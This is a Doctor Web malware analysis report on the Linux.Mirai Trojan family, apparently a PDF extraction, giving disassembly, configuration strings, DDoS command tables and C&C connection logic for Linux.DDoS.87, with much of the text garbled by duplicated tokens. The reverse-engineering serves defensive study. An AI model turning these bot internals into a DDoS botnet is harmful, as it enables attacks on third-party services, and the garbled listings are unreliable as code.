Investigation of Linux.Mirai Trojan family
© Doctor Web, 2016. All rights reserved. This document is the property of Doctor Web. No part of this document may be reproduced, published or transmitted in any form or by any means for any purpose other than the purchaser's personal use without proper attribution. Doctor Web develops and distributes Dr. Web information security solutions which provide efficient protection from malicious software and spam. Doctor Web customers can be found among home users from all over the world and in government enterprises, small companies and nationwide corporations. Dr.Web antivirus solutions are well known since 1992 for continuing excellence in malware detection and compliance with international information security standards. State certificates and awards received by the Dr.Web solutions, as well as the globally widespread use of our products are the best evidence of exceptional trust to the company products.
Investigation of Linux.Mirai Trojan family 9/30/2016
Doctor Web Head Office 2-12A, 3rd str. Yamskogo polya Moscow, Russia 125124 Website: www.drweb.com Phone: +7 (495) 789-45-87 Refer to the official web site for regional and international office information.
3
Introduction A Trojan for Linux that was named Linux.Mirai has several predecessors. The first malware program belonging to this family was spotted in May 2016 and was dubbed Linux.DDoS.87. At the beginning of August, a new version of this Trojan— Linux.DDoS.89—was discovered. Finally, Doctor Web’s security researchers investigated the Linux.Mirai Trojan found later that month. To learn more on each Trojan, click the corresponding link below: Description of Linux.DDoS.87 Description of Linux.DDoS.89 Description of Linux.Mirai
3
4
Linux.DDoS.87 c129e2a23abe826f808725a0724f12470502a3cc—x86 8fd0d16edf270c453c5b6b2481d0a044a410c7cd—ARM 9ff383309ad63da2caa9580d7d85abeece9b13a0—ARM A Trojan for Linux designed to carry out DDoS attacks. All versions of this malicious program use the uClibc.so library. Before starting the mode of receiving and executing commands, the Trojan calls the following functions: .text:0804B378 .text:0804B3 78
push
1000h
.text:0804B37D .text:0804B 37D
call
_malloc
.text:0804B3 82 .text:0804B382 mand
mov
edi, eax
.text:0804B384 .text:0804B3 84
call
fillConfig
.text:0804B389 .text:0804B 389
call
init_random
.text:0804B38E .text:0804B 38E
call
runKiller
.text:0804B393 .text:0804B 393
call
fillCmdHandlers fillCmdHand lers
; size ; buffer for com-
fillConfig This function uses one memory sector to store configuration information. This configuration storing can be described in the C language as follows: union { char *; short *; int *; } conf_data; struct conf_entry { uint32 number; conf_data data; uint32 length } struct malware_config { conf_entry *entries; uint32 entries_count; entries_coun t; }
Each configuration field is filled in the following way: Config.entries = realloc(Config.entries, 12 * Config.length + 12); v0 = &Config.entries[Config.length]; v0->number = 0; v1 = malloc(4u); *v1 = XX;
4
5
v1[1] = XX; v1[2] = XX; v1[3] = XX; v0->data = v1; v2 = Config.entries; v3 = Config.length + 1; Config.entries[Config.length].length = 4; Config.length = v3;
Some strings are stored in an encrypted ELF file and are decrypted before being recorded: recorded: .text:0804CA8B .text:0804CA 8B
call
_realloc
.text:0804CA90 .text:0804CA 90
mov
edx, ds:Config.l ds:Config.length ength
.text:0804CA96 .text:0804CA 96
lea
edx, [edx+edx*2]
.text:0804CA99 .text:0804CA 99
mov
ds:Config.entries, ds:Config.en tries, eax
.text:0804CA9E .text:0804CA 9E
lea
esi, [eax+edx*4]
.text:0804CAA1 .text:0804CA A1
mov
dword ptr [esi], 0Bh
.text:0804CAA7 .text:0804CA A7
mov
[esp+1Ch+size], 49h ; size
.text:0804CAAE .text:0804C AAE
call
_malloc
.text:0804CAB3 .text:0804CA B3
mov
edx, 1
.text:0804CAB8 .text:0804CA B8
mov
ebx, eax
.text:0804CABA .text:0804CA BA
mov
ecx, offset unk_804FD80
.text:0804CABF .text:0804CA BF
add
esp, 10h
.text:0804CAC2 .text:0804CA C2 loc_804CAC2 .text:0804CAC2 loc_804CAC2: : fillConfig+4D0j
; CODE XREF:
.text:0804CAC2 .text:0804CA C2
mov
al, [ecx]
.text:0804CAC4 .text:0804CA C4
inc
ecx
.text:0804CAC5 .text:0804C AC5
xor
eax, 0FFFFFFAFh
.text:0804CAC8 .text:0804C AC8
mov
[edx+ebx-1], [edx+ebx-1] , al
.text:0804CACC .text:0804CA CC
inc
edx
.text:0804CACD .text:0804CA CD
cmp
edx, 4Ah
.text:0804CAD0 .text:0804CA D0
jnz
short loc_804CAC2
.text:0804CAD2 .text:0804CA D2
mov
eax, ds:Config.l ds:Config.length ength
.text:0804CAD7 .text:0804CA D7
mov
ecx, ds:Config.e ds:Config.entries ntries
.text:0804CADD .text:0804CA DD
mov
[esi+4], ebx
.text:0804CAE0 .text:0804CA E0
lea
edx, [eax+eax*2]
.text:0804CAE3 .text:0804CA E3
inc
eax
.text:0804CAE4 .text:0804CA E4
mov
dword ptr [ecx+edx*4+8] [ecx+edx*4+8], , 49h
.text:0804CAEC .text:0804CA EC
mov
ds:Config.length, ds:Config.le ngth, eax
5
6
The following data is saved to the examined sample’s configuration: Number
Data type
Value
Purpose
0
uint32
—
Command and control server’s IP address
1
uint 16
—
port
2
string
'kami\x00'
displayed in main on stdin upon launching the Trojan
3
uint 8
1
Sent to the server after transferring the MAC address
4
4
0x08080808
not used
5
4
JR**
not used
6
4
0x06400640
not used
7
4
0x0300f4d1
not used
8
string
"TSource Engine Query"
cmd1 – TSource Engine DDoS
9
string
"/"
cmd14 default page
10
string
"www.google.com"
cmd14 default host
11
string
"Mozilla/5.0 (Windows NT 6.1; WOW64; cmd14 User Agent for request rv:41.0) Gecko/201001 Gecko/20100101 01 Firefox/41 Firefox/41.0" .0"
12
string
"Mozilla/5.0 (Windows NT 6.1; WOW64) cmd14 User Agent for request AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
13
string
"Mozilla/5.0 (Windows NT 6.1; WOW64) cmd14 User Agent for request AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36"
14
string
"Mozilla/5.0 (Windows NT 6.1; WOW64) cmd14 User Agent for request AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36"
15
string
"Mozilla/5.0 (Macintosh; Intel Mac OS X not used 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56" Safari/601.1.56"
20
string
"GET "
cmd14 generating requests
21
string
"HTTP/1.1"
cmd14 generating requests
22
string
"Host: "
cmd14 generating requests
6
7
Number
Data type
Value
Purpose
23
string
"Connection: keep-alive"
cmd14 generating requests
24
string
"User-Agent: "
cmd14 generating requests
25
string
"Accept: t ext/html,application/xhtml cmd14 generating requests te +xml,application/xml;q=0.9,image/webp,*/ *;q=0.8"
26
string
"Accept-Encoding: gzip, deflate, sdch"
cmd14 generating requests
27
string
"Accept-Language: en-US,en;q=0.8"
cmd14 generating requests
28
string
"Cookie: "
not used
29
string
"/proc/"
used by runKiller function
30
string
"/exe"
used by runKiller function
31
string
"/cwd/"
used by runKiller function
33
string
".shinigami"
used by runKiller and main functions
100
string
"gayfgt"
used by runKiller function
101
string
"REPORT %s:%s"
used by runKiller function
102
string
"hello friend :)"
used by runKiller function
103
string
"[KTN]"
used by runKiller function
The following functions are then used to get the configuration values: Function
Purpose
char *get_data_from_config(int num- returns the data pointer for conf_entry with the number value ber) uint32 uint 32 get_ get_conf conf_uin _uint32( t32(int int numb number) er)
returns unit returns unit32 32 stored stored und under er the the data data pointe pointerr for conf conf_ent _entry ry with with the the number value
uint16 uint 16 get_ get_conf conf_uin _uint16( t16(int int numb number) er)
returns unit returns unit16 16 stored stored und under er the the data data pointe pointerr for conf conf_ent _entry ry with with the the number value
uint8 uin t8 get_co get_conf nf_u _uint int8(i 8(int nt num numbe ber) r)
returnss unit8 return unit8 sto stored red und under er the the data data poi pointe nterr for for conf conf_en _entry try wit with h the the number value
7
8
init_random This function initializes the generation of pseudo-random sequences. Linux.BackDoor.Fgt and Linux.BackDoor.Tsunami used such generators; however, their operation was implemented in a different manner. The init_rand function from Linux.DDoS.87: .text:080481 AC init_rand .text:080481AC sendUDP+249p
proc near
; CODE XREF:
.text:080481 AC .text:080481AC ...
; processCmd+ processCmd+1E3p 1E3p
.text:080481AC .text:080481AC .text:080481 AC var_4
= dword ptr -4
.text:080481AC .text:080481 AC arg_0
= dword ptr
8
.text:080481AC .text:080481AC .text:08048 1AC
push
ebp
.text:080481AD .text:080481 AD
mov
ebp, esp
.text:080481AF .text:080481 AF
sub
esp, 10h
.text:080481B2 .text:080481 B2
mov
eax, [ebp+arg_0]
.text:080481B5 .text:080481 B5
mov
ds:Q, eax
.text:080481BA .text:080481 BA
mov
eax, [ebp+arg_0]
.text:080481BD .text:080481 BD
sub
eax, 61C88647h
.text:080481C2 .text:080481 C2
mov
ds:dword_80599E4, ds:dword_805 99E4, eax
.text:080481C7 .text:080481 C7
mov
eax, [ebp+arg_0]
.text:080481CA .text:080481 CA
add
eax, 3C6EF372h
.text:080481CF .text:080481 CF
mov
ds:dword_80599E8, ds:dword_805 99E8, eax
.text:080481D4 .text:080481 D4
mov
[ebp+var_4], 3
.text:080481DB .text:080481 DB
jmp
short loc_8048211
.text:080481DD ; -------------------------------------------------------------------------.text:080481DD .text:080481 DD loc_80481DD .text:080481DD loc_80481DD: : init_rand+6Cj
; CODE XREF:
.text:080481DD .text:080481 DD
mov
ecx, [ebp+var_4]
.text:080481E0 .text:080481 E0
mov
eax, [ebp+var_4]
.text:080481E3 .text:080481 E3
sub
eax, 3
.text:080481E6 .text:080481 E6
mov
edx, ds:Q[eax*4]
.text:080481ED .text:080481 ED
mov
eax, [ebp+var_4]
.text:080481F0 .text:080481 F0
sub
eax, 2
.text:080481F3 .text:080481 F3
mov
eax, ds:Q[eax*4]
.text:080481FA .text:080481 FA
xor
edx, eax
.text:080481FC .text:080481 FC
mov
eax, [ebp+var_4]
.text:080481FF .text:080481 FF
xor
eax, edx
.text:08048201 .text:080482 01
xor
eax, 9E3779B9h
8
9
.text:08048206 .text:080482 06
mov
ds:Q[ecx*4], eax
.text:0804820D .text:080482 0D
add
[ebp+var_4], 1
.text:08048211 .text:080482 11 loc_8048211 .text:08048211 loc_8048211: : init_rand+2Fj
; CODE XREF:
.text:08048211 .text:080482 11
cmp
[ebp+var_4], 0FFFh
.text:08048218 .text:080482 18
jle
short loc_80481DD
.text:0804821A
leave
.text:0804821B
retn
.text:0804821B .text:08048 21B init_rand
endp
The init_random function from Linux.DDoS.87: .text:0804C0 90 init_random .text:0804C090 +29p
proc near
.text:0804C090 .text:0804C0 90
; CODE XREF: main ; sub_804B930 sub_804B930+CFp +CFp
.text:0804C090 .text:0804C 090
push
esi
.text:0804C091 .text:0804C 091
push
ebx
.text:0804C092 .text:0804C0 92
sub
esp, 4
.text:0804C095 .text:0804C0 95
call
___libc_getpid ___libc_getp id
.text:0804C09A .text:0804C0 9A
mov
esi, eax
.text:0804C09C .text:0804C0 9C
call
_getppid
.text:0804C0A1 .text:0804C0 A1
sub
esp, 0Ch
.text:0804C0A4 .text:0804C0 A4
mov
ebx, eax
.text:0804C0A6 .text:0804C0 A6
push
0
.text:0804C0A8 .text:0804C0 A8
call
___GI_time
.text:0804C0AD .text:0804C 0AD
imul
ebx, eax
.text:0804C0B0 .text:0804C0 B0
mov
ecx, 3
.text:0804C0B5 .text:0804C0 B5
add
esp, 10h
.text:0804C0B8 .text:0804C0 B8
lea
edx, [esi+ebx]
.text:0804C0BB .text:0804C0 BB
mov
ds:random_gen_data, ds:random_ge n_data, edx
.text:0804C0C1 .text:0804C0 C1
lea
eax, [edx-61C886 [edx-61C88647h] 47h]
.text:0804C0C7 .text:0804C0 C7
mov
ds:rand1, eax
.text:0804C0CC .text:0804C0 CC
lea
eax, [edx+3C6EF3 [edx+3C6EF372h] 72h]
.text:0804C0D2 .text:0804C0 D2
mov
ds:rand2, eax
; time
.text:0804C0D7 .text:0804C0 D7 loc_804C0D7 .text:0804C0D7 loc_804C0D7: : init_random+6Fj
; CODE XREF:
.text:0804C0D7 .text:0804C0 D7
mov
edx, ds:dword_80 ds:dword_8051694[ecx*4] 51694[ecx*4]
.text:0804C0DE .text:0804C0 DE
mov
eax, ecx
.text:0804C0E0 .text:0804C0 E0
xor
eax, edx
.text:0804C0E2 .text:0804C0 E2
mov
edx, ds:dword_80 ds:dword_8051698[ecx*4] 51698[ecx*4]
.text:0804C0E9 .text:0804C0 E9
xor
edx, 9E3779B9h
.text:0804C0EF .text:0804C0 EF
xor
eax, edx
.text:0804C0F1 .text:0804C0 F1
mov
ds:random_gen_data[ecx*4] ds:random_ge n_data[ecx*4], , eax
9
10
.text:0804C0F8 .text:0804C0 F8
inc
ecx
.text:0804C0F9 .text:0804C0 F9
cmp
ecx, 1000h
.text:0804C0FF .text:0804C0 FF
jnz
short loc_804C0D7
.text:0804C101 .text:0804C1 01
pop
eax
.text:0804C102 .text:0804C1 02
pop
ebx
.text:0804C103 .text:0804C1 03
pop
esi
.text:0804C104
retn
.text:0804C104 .text:0804C 104 init_random
endp
runKiller This function launches a child process designed to search running processes for other Trojans and terminate them. You can see a description of a child process’s operation below. First, the process kills standard stdin, stdout, and stderr threads and retrieves the strings it needs from the configuration: .text:0804AFAB .text:0804A FAB
push
STDIN_FILENO STDIN_FILEN O
; fd
.text:0804AFAD .text:0804A FAD
call
___libc_close ___libc_clo se
.text:0804AF B2 .text:0804AFB2 fd
mov
.text:0804AFB9 .text:0804A FB9
call
.text:0804AF BE .text:0804AFBE fd
mov
.text:0804AFC5 .text:0804A FC5
call
___libc_close ___libc_clo se
.text:0804AFCA .text:0804AF CA
mov
dword ptr [esp+0], 1Dh
.text:0804AFD1 .text:0804AF D1
call
get_data_from_config get_data_fro m_config
.text:0804AFD6 .text:0804AF D6
mov
dword ptr [esp+0], 1Eh
.text:0804AFDD .text:0804AF DD
mov
ds:proc, eax
.text:0804AFE2 .text:0804AF E2
call
get_data_from_config get_data_fro m_config
.text:0804AFE7 .text:0804AF E7
mov
dword ptr [esp+0], 1Fh
.text:0804AFEE .text:0804AF EE
mov
ds:exe, eax
.text:0804AFF3 .text:0804AF F3
call
get_data_from_config get_data_fro m_config
.text:0804AFF8 .text:0804AF F8
mov
dword ptr [esp+0], 21h
.text:0804AFFF .text:0804AF FF
mov
ds:cwd, eax
.text:0804B004 .text:0804B0 04
call
get_data_from_config get_data_fro m_config
.text:0804B009 .text:0804B0 09
mov
dword ptr [esp+0], 64h
.text:0804B010 .text:0804B0 10
mov
ds:shinigami, ds:shinigami , eax
.text:0804B015 .text:0804B0 15
call
get_data_from_config get_data_fro m_config
.text:0804B01A .text:0804B0 1A
mov
dword ptr [esp+0], 65h
.text:0804B021 .text:0804B0 21
mov
ds:gayfgt, eax
.text:0804B026 .text:0804B0 26
call
get_data_from_config get_data_fro m_config
.text:0804B02B .text:0804B0 2B
mov
dword ptr [esp+0], 66h
.text:0804B032 .text:0804B0 32
mov
ds:report_fmt, ds:report_fm t, eax
.text:0804B037 .text:0804B0 37
call
get_data_from_config get_data_fro m_config
dword ptr [esp+0], STDERR_FILENO ; ___libc_close ___libc_clo se dword ptr [esp+0], STDOUT_FILENO ;
10
11
.text:0804B03C .text:0804B0 3C
mov
dword ptr [esp+0], 67h
.text:0804B043 .text:0804B0 43
mov
ds:hello_friend, ds:hello_fri end, eax
.text:0804B048 .text:0804B0 48
call
get_data_from_config get_data_fro m_config
.text:0804B04D .text:0804B0 4D
mov
ebp, ds:proc
.text:0804B053 .text:0804B0 53
mov
ds:KTN, eax
Then the Trojan tries to open the following file objects: /proc/
/exe /proc//cwd/
If successful, the relevant flag is set. If not, the process terminates itself: .text:0804B13F .text:0804B1 3F
cmp
ds:couldOpenExe, ds:couldOpen Exe, 0
.text:0804B146 .text:0804B1 46
jz
short loc_804B158
.text:0804B148 .text:0804B1 48
lea
ebp, [esp+0A3Ch+ [esp+0A3Ch+var_226] var_226]
.text:0804B14F .text:0804B1 4F
cmp
ds:couldOpenCWD, ds:couldOpen CWD, 0
.text:0804B156 .text:0804B1 56
jnz
short loc_804B17E
.text:0804B158 .text:0804B1 58 loc_804B158: .text:0804B158 Killer+1C6j
; CODE XREF: run-
.text:0804B158 .text:0804B1 58
sub
esp, 0Ch
.text:0804B15B .text:0804B1 5B
push
0
.text:0804B15D .text:0804B1 5D
call
___GI_exit
; status
If the process continues operating, in five minutes it starts searching for other Trojans in order to terminate their operation by reading the content of the /proc/ folder in an infinite loop: .text:0804B1 62 read_proc_fr .text:0804B162 read_proc_from_begin: om_begin: Killer+225j
; CODE XREF: run-
.text:0804B162 .text:0804B1 62
sub
esp, 0Ch
.text:0804B165 .text:0804B1 65
mov
eax, [esp+0A48h+ [esp+0A48h+var_A34] var_A34]
.text:0804B169 .text:0804B 169
push
eax
.text:0804B16A .text:0804B1 6A
call
___GI_closedir ___GI_closed ir
.text:0804B16F .text:0804B1 6F
mov
[esp+0A4Ch+fd], [esp+0A4Ch+f d], 5
.text:0804B176 .text:0804B 176
call
sleep
.text:0804B17B .text:0804B1 7B
add
esp, 10h
.text:0804B17E .text:0804B1 7E loc_804B17E: .text:0804B17E Killer+1D6j
; CODE XREF: run-
.text:0804B17E .text:0804B1 7E
sub
esp, 0Ch
.text:0804B181 .text:0804B1 81
mov
eax, ds:proc
.text:0804B186 .text:0804B1 86
push
eax
.text:0804B187 .text:0804B 187
call
___GI_opendir ___GI_opend ir
.text:0804B18C .text:0804B1 8C
mov
[esp+0A4Ch+var_A34], [esp+0A4Ch+v ar_A34], eax
; filename
11
12
.text:0804B190 .text:0804B1 90
add
esp, 10h
.text:0804B193 .text:0804B1 93 read_next_pr .text:0804B193 read_next_proc_entry: oc_entry: Killer+23Aj
; CODE XREF: run-
.text:0804B193 .text:0804B193 ...
; runKiller+2 runKiller+296j 96j
.text:0804B193 .text:0804B1 93
sub
esp, 0Ch
.text:0804B196 .text:0804B1 96
mov
edx, [esp+0A48h+ [esp+0A48h+var_A34] var_A34]
.text:0804B19A .text:0804B 19A
push
edx
.text:0804B19B .text:0804B 19B
call
___GI_readdir ___GI_readd ir
.text:0804B1A0 .text:0804B1 A0
add
esp, 10h
.text:0804B1A3 .text:0804B 1A3
test
eax, eax
.text:0804B1A5 .text:0804B1 A5
jz
short read_proc_fro read_proc_from_begin m_begin
If the folder from which the process was run is found to contain a file named .shinigami, the process is not terminated because it is used to implement some kind self-protection: .text:0804B1BC .text:0804B1 BC
push
eax
; char
.text:0804B1BD .text:0804B1 BD
push
eax
; int
.text:0804B1BE .text:0804B1 BE
mov
eax, ds:proc
.text:0804B1C3 .text:0804B1 C3
push
eax
; a2
.text:0804B1C4 .text:0804B1 C4
push
ebp
; a1
.text:0804B1C5 .text:0804B1 C5
call
strcpy
.text:0804B1CA .text:0804B1 CA
pop
ecx
.text:0804B1CB .text:0804B1 CB
lea
ebx, [ebp+eax+0]
.text:0804B1CF .text:0804B1 CF
pop
eax
.text:0804B1D0 .text:0804B1 D0
push
esi
; a2
.text:0804B1D1 .text:0804B1 D1
push
ebx
; a1
.text:0804B1D2 .text:0804B1 D2
call
strcpy
.text:0804B1D7 .text:0804B1 D7
add
ebx, eax
.text:0804B1D9 .text:0804B1 D9
pop
eax
.text:0804B1DA .text:0804B 1DA
mov
eax, ds:cwd
.text:0804B1DF .text:0804B1 DF
pop
edx
.text:0804B1E0 .text:0804B1 E0
push
eax
; a2
.text:0804B1E1 .text:0804B1 E1
push
ebx
; a1
.text:0804B1E2 .text:0804B1 E2
call
strcpy
.text:0804B1E7 .text:0804B1 E7
pop
edx
.text:0804B1E8 .text:0804B1 E8
pop
ecx
.text:0804B1E9 .text:0804B 1E9
mov
ecx, ds:shinigami
.text:0804B1EF .text:0804B1 EF
lea
eax, [ebx+eax]
.text:0804B1F2 .text:0804B1 F2
push
ecx
; a2
.text:0804B1F3 .text:0804B1 F3
push
eax
; a1
.text:0804B1F4 .text:0804B1 F4
call
strcpy
.text:0804B1F9 .text:0804B1 F9
pop
eax
.text:0804B1FA .text:0804B1 FA
pop
edx
12
13
.text:0804B1FB .text:0804B1 FB
push
0
; flags
.text:0804B1FD .text:0804B1 FD
push
ebp
; filename
.text:0804B1FE .text:0804B 1FE
call
___GI___libc_open ___GI___lib c_open
.text:0804B203 .text:0804B2 03
add
esp, 10h
.text:0804B206 .text:0804B 206
test
eax, eax
.text:0804B208 .text:0804B2 08
js
short kill_if_bot
.text:0804B20A .text:0804B2 0A
sub
esp, 0Ch
.text:0804B20D .text:0804B2 0D
push
eax
.text:0804B20E .text:0804B 20E
call
___libc_close ___libc_clo se
.text:0804B213 .text:0804B2 13
add
esp, 10h
.text:0804B216 .text:0804B2 16
jmp
read_next_proc_entry read_next_pr oc_entry
; fd
If the file named .shinigami is absent from the folder, the process’s executable file is read in order to find strings from a configuration whose numbers are higher than 100. Meanwhile, the Trojan reads file fragments sequentially. The size of each fragment is 0x800 byte. If the value required is at buffer overflow, the process is not terminated.
fillCmdHandlers A function responsible for filling a structure that stores command handlers. The structure looks as follows: { { struct cmd char number; void *handler; *handler;
}
struct cmd_handlers { cmd *handlers; *handlers; char length;
}
The structure is filled in the following way: v0 = realloc(ha realloc(handlers.handl ndlers.handlers, ers, 8 * handlers.length + 8); v1 = handlers.length + 1; handlers.handlers = v0; v2 = &v0[handlers.length]; v2->number = 0; v2->func = cmd0_udp_ran cmd0_udp_random; dom; handlers.length = v1;
13
14
v3 = realloc(v0, 8 * v1 + 8); handlers.handlers = v3; v4 = handlers.length + 1; v5 = &v3[handlers.length]; v5->number = 1; v5->func = cmd1_tsource cmd1_tsource; ;
As a result, the following command table is generated: Number
Purpose
15-17
The examined sample contains functions that are executed in an infinite loop
14
HTTP flood
9
Transparent Ethernet Bridging в GRE
8
UDP flood overGRE
7
Establishing a TCP connection
6
sending a TCP packet
4
TCP flood—send packets containing random data
3
TCP flood—send packets with TCP options
2
DNS flood
1
TSource flood
0
UDP flood
Once all the above functions are performed, the following string is retrieved from the configuration and added to the stdin thread: .text:0804B398 .text:0804B3 98
mov
dword ptr [esp+0], 2
.text:0804B39F .text:0804B3 9F
call
get_data_from_config get_data_fro m_config ; kami
.text:0804B3A4 .text:0804B 3A4
mov
[esp+0], eax
.text:0804B3A7 .text:0804B3 A7
call
strlen
.text:0804B3AC .text:0804B3 AC
mov
dword ptr [esp+0], 2
.text:0804B3B3 .text:0804B3 B3
mov
ebx, eax
.text:0804B3B5 .text:0804B3 B5
call
get_data_from_config get_data_fro m_config
.text:0804B3BA .text:0804B3 BA
add
esp, 0Ch
.text:0804B3BD .text:0804B3 BD
push
ebx
; len
.text:0804B3BE .text:0804B3 BE
push
eax
; addr
.text:0804B3BF .text:0804B3 BF
push
1
; fd
; a1
14
15
.text:0804B3C1 .text:0804B 3C1
call
___libc_write ___libc_wri te
.text:0804B3C6 .text:0804B3 C6
add
esp, 0Ch
.text:0804B3C9 .text:0804B3 C9
push
1
; int
.text:0804B3CB .text:0804B 3CB
push
offset newline
; int
.text:0804B3D0 .text:0804B3 D0
push
1
; fd
.text:0804B3D2 .text:0804B 3D2
call
___libc_write ___libc_wri te
Then the Trojan removes its name to hide itself: .text:0804B3D8 .text:0804B 3D8
mov
ebp, [esi]
; esi = argv[0]
.text:0804B3DA .text:0804B3 DA
push
ebp
; a1
.text:0804B3DB .text:0804B3 DB
call
strlen
.text:0804B3E0 .text:0804B3 E0
add
esp, 10h
.text:0804B3E3 .text:0804B3 E3
mov
ecx, eax
.text:0804B3E5 .text:0804B 3E5
test
eax, eax
.text:0804B3E7 .text:0804B3 E7
jle
short loc_804B3F6
.text:0804B3E9 .text:0804B3 E9
xor
edx, edx
.text:0804B3EB .text:0804B3 EB loc_804B3EB: .text:0804B3EB +94j
; CODE XREF: main
.text:0804B3EB .text:0804B3 EB
mov
eax, [esi]
.text:0804B3ED .text:0804B 3ED
mov
byte ptr [eax+edx], 0
.text:0804B3F1 .text:0804B3 F1
inc
edx
.text:0804B3F2 .text:0804B3 F2
cmp
ecx, edx
.text:0804B3F4 .text:0804B3 F4
jnz
short loc_804B3EB
The child processes are subsequently launched (the code is simplified and contains no requests to the configuration): //here is parent pid_t child = fork (); (child > 0){ waitpid (child, &status, 0); //waiting until child die (child, exit();
} if(!child){ //child executing this
pid_t child2 = fork(); if(child2 > 0){//we spawn children—time to die exit (); //after this exit() grandpa will die too
} } pid_t child3 = fork();
15
16
if(child3>0){
v28 = __GI___libc_ __GI___libc_open(".shinig open(".shinigami", ami", O_CREAT, v30); if (v28 >= 0) close(v28); sleep(...) // one week kill(child3); exit();
} payload;
The .shinigami file is created in the Trojan’s folder to protect the Trojan from removing itself. The maximum uptime of Linux.DDoS.87 on an infected computer is one week, after which the Trojan terminates its operation.
The cycle for receiving and executing commands After that, the malicious process tries to connect to the C&C server to get instructions: .text:0804B44E .text:0804B4 4E
call
___libc_fork
.text:0804B453 .text:0804B4 53
mov
ebx, eax
.text:0804B455 .text:0804B 455
test
eax, eax
.text:0804B457 .text:0804B 457
jg
loc_804B84E
.text:0804B45D .text:0804B4 5D
call
___GI_setsid
.text:0804B462 .text:0804B4 62
sub
esp, 0Ch
.text:0804B465 .text:0804B4 65
push
0
.text:0804B467 .text:0804B 467
call
___libc_close ___libc_clo se
.text:0804B46C .text:0804B4 6C
mov
dword ptr [esp+0], 1 ; fd
.text:0804B473 .text:0804B 473
call
___libc_close ___libc_clo se
.text:0804B478 .text:0804B4 78
mov
dword ptr [esp+0], 2 ; fd
.text:0804B47F .text:0804B 47F
call
___libc_close ___libc_clo se
.text:0804B484 .text:0804B4 84
add
esp, 10h
.text:0804B487 .text:0804B4 87
lea
eax, [edi+2]
.text:0804B48A .text:0804B4 8A
xor
esi, esi
.text:0804B48C .text:0804B48C eax
mov
; fd
[esp+48Ch+ptr_to_third_ [esp+48Ch+pt r_to_third_comm_byte], comm_byte],
.text:0804B4 90 entry_point_o .text:0804B490 entry_point_of_payload_ex f_payload_execution: ecution: +167j .text:0804B490 .text:0804B 490
; CODE XREF: main ; main+17Aj ...
.text:0804B490 .text:0804B4 90
mov
edx, esi
.text:0804B492 .text:0804B4 92
mov
eax, 1000h
.text:0804B497 .text:0804B 497
and
edx, 0FFFFh
.text:0804B49D .text:0804B4 9D
push
4000h
.text:0804B4A2 .text:0804B4 A2
sub
eax, edx
; int
16
17
.text:0804B4A4 .text:0804B4 A4
push
eax
.text:0804B4A5 .text:0804B4 A5
lea
edx, [edi+edx]
.text:0804B4A8 .text:0804B4 A8
mov
eax, ds:fd
.text:0804B4AD .text:0804B4 AD
push
edx
; char *
.text:0804B4AE .text:0804B4 AE
push
eax
; int
.text:0804B4AF .text:0804B4 AF
call
___libc_recv
.text:0804B4B4 .text:0804B4 B4
add
esp, 10h
.text:0804B4B7 .text:0804B 4B7
test
eax, eax
.text:0804B4B9 .text:0804B4 B9
jle
recv_failed
.text:0804B4BF .text:0804B4 BF
add
esi, eax
.text:0804B4C1 .text:0804B4 C1
cmp
si, 1
.text:0804B4C5 .text:0804B4 C5
ja
short recv_ok
.text:0804B4 C7 .text:0804B4C7 cution
jmp
; int
short entry_point_o entry_point_of_payload_ex f_payload_exee-
If recv returns an error, a socket is opened, and its content is recorded to the fd global variable: .text:0804B5 53 recv_failed: .text:0804B553 +159j
; CODE XREF: main
.text:0804B553 .text:0804B5 53
mov
eax, ds:fd
.text:0804B558 .text:0804B 558
test
eax, eax
.text:0804B55A .text:0804B5 5A
js
short fd_closed_or_ fd_closed_or_uninitialize uninitialized d
.text:0804B55C .text:0804B5 5C
sub
esp, 0Ch
.text:0804B55F .text:0804B5 5F
push
eax
.text:0804B560 .text:0804B 560
call
___libc_close ___libc_clo se
.text:0804B565 .text:0804B5 65
add
esp, 10h
; fd
.text:0804B568 .text:0804B568 fd_closed_o .text:0804B568 fd_closed_or_uninitial r_uninitialized: ized: +1FAj .text:0804B568 .text:0804B 568
push
eax
.text:0804B569 .text:0804B 569
push
0
.text:0804B56B .text:0804B 56B
push
1
.text:0804B56D .text:0804B 56D
push
2
.text:0804B56F .text:0804B5 6F
call
___GI_socket
.text:0804B574 .text:0804B5 74
add
esp, 10h
.text:0804B577 .text:0804B5 77
mov
ds:fd, eax
; CODE XREF: main
During reading/writing, a minute-long time-out is set: socket_timeout.tv_sec = 60; socket_timeout.tv_usec socket_time out.tv_usec = 0; __GI_setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &socket_timeout, 8); __GI_setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &socket_timeout, 8);
17
18
Then a connection to the C&C server is established: .text:0804B5 CE .text:0804B5CE ily], 2
mov
[esp+4ACh+cnc_sockaddr.si [esp+4ACh+cnc _sockaddr.sin_famn_fam-
.text:0804B5D8 .text:0804B5 D8
add
esp, 14h
.text:0804B5DB .text:0804B 5DB
push
0
.text:0804B5DD .text:0804B 5DD
call
get_conf_uint32 get_conf_ui nt32
.text:0804B5E2 .text:0804B5 E2
mov
dword ptr [esp+0], 1
.text:0804B5E9 .text:0804B5E9 addr.sin_addr.s_addr], addr.sin_ad dr.s_addr], eax
mov
[esp+49Ch+cnc_sock[esp+49Ch+cn c_sock-
.text:0804B5F0 .text:0804B 5F0
call
get_conf_uint16 get_conf_ui nt16
.text:0804B5F5 .text:0804B5 F5
ror
ax, 8
.text:0804B5 F9 .text:0804B5F9 ax
mov
[esp+49Ch+cnc_sockaddr.si [esp+49Ch+cn c_sockaddr.sin_port], n_port],
.text:0804B601 .text:0804B6 01
add
esp, 0Ch
.text:0804B604 .text:0804B6 04
mov
eax, ds:fd
.text:0804B609 .text:0804B 609
push
10h
.text:0804B60B .text:0804B6 0B
lea
edx, [esp+494h+c [esp+494h+cnc_sockaddr] nc_sockaddr]
.text:0804B612 .text:0804B 612
push
edx
.text:0804B613 .text:0804B 613
push
eax
.text:0804B614 .text:0804B 614
call
___libc_connect ___libc_con nect
After that the IP address of the interface in use is saved and a string containing an identifier of an infected device’s architecture (х86, ARM, MIPS, SPARC, SH-4 or M68K) is sent to the C&C server: .text:0804B62F .text:0804B6 2F
lea
eax, [esp+490h+s [esp+490h+status] tatus]
.text:0804B636 .text:0804B6 36
mov
ecx, ds:fd
